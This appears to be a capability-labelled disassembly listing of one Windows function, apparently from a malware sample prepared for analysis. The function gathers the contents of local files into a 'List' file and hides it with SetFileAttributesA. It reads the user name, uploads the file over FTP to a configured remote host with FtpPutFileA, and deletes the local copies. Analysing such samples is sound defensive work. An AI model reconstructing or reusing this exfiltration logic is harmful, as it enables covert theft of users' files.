Function at 0x10009630
Capabilities:
Connect to http server
Create http request
Get session user name
Send file using ftp
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004106c
mov eax, dword fs:[0]
push eax
sub esp, 0x2bc
mov eax, dword [0x10053064]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 8
lea ecx, [ebp - 0x2c8]
push 1
push str.Temp
call fcn.10006d80
sub esp, 8
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x210]
push 1
push 0x1004a540
call fcn.10006d80
sub esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x158]
push 2
push str.List
call fcn.100032f0
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
push ecx
lea edx, [ebp - 0xa4]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c8]
call fcn.1000a2b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1000975e
nop dword [eax]
cmp dword [ebp - 0x90], 0x10
lea edx, [ebp - 0xa4]
push dword [ebp - 0x94]
cmovae edx, dword [ebp - 0xa4]
lea ecx, [ebp - 0x158]
call fcn.1000a510
push eax
call fcn.10008170
add esp, 4
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0x2c8]
call fcn.1000a2b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10009710
push ecx
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x210]
call fcn.1000a2b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x100097c8
nop
cmp dword [ebp - 0x78], 0x10
lea edx, [ebp - 0x8c]
push dword [ebp - 0x7c]
cmovae edx, dword [ebp - 0x8c]
lea ecx, [ebp - 0x158]
call fcn.1000a510
push eax
call fcn.10008170
add esp, 4
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x210]
call fcn.1000a2b0
add esp, 4
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10009780
lea ecx, [ebp - 0x2b8]
call fcn.10003b40
test eax, eax
jne 0x10009800
mov eax, dword [ebp - 0x2c8]
lea ecx, [ebp - 0x2c8]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001d60
lea ecx, [ebp - 0x200]
call fcn.10003b40
test eax, eax
jne 0x10009838
mov eax, dword [ebp - 0x210]
lea ecx, [ebp - 0x210]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001d60
lea ecx, [ebp - 0x154]
call fcn.10003b40
test eax, eax
jne 0x10009870
mov eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x158]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001d60
push 2
push str.List
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.Temp
call fcn.100207ff
add esp, 4
mov dword [ebp - 0xa8], 0x64
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x1000991d
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push dword [0x10058978]
mov edi, eax
push dword [0x10058974]
push 0x15
push dword [0x10058970]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
mov esi, eax
lea eax, [ebp - 0x74]
push 2
push eax
push str.List
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x10009b4b
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push str.List
call fcn.100207ff
push 0x1004a540
call fcn.100207ff
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x10009958
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000994e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10009b46
push ecx
push edx
call fcn.100198f2
add esp, 8
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
cmp ecx, 0x10
jb 0x100099ab
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100099a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10009b46
push ecx
push edx
call fcn.100198f2
add esp, 8
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x15c], eax
lea ecx, [ebp - 0x154]
call fcn.10002f40
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x15c], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 5
push eax
mov dword [ebp - 0xf0], vtable.std::ios_base.0
call fcn.1001913a
mov eax, dword [ebp - 0x210]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x214], eax
lea ecx, [ebp - 0x200]
call fcn.10002f40
mov eax, dword [ebp - 0x210]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x214], eax
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 6
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1001913a
mov eax, dword [ebp - 0x2c8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2cc], eax
lea ecx, [ebp - 0x2b8]
call fcn.10002f40
mov eax, dword [ebp - 0x2c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2cc], eax
lea eax, [ebp - 0x258]
mov dword [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1001913a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100198af
mov esp, ebp
pop ebp
ret
call fcn.10020628
push str.List
call fcn.100207ff
add esp, 4
call fcn.10009090
int3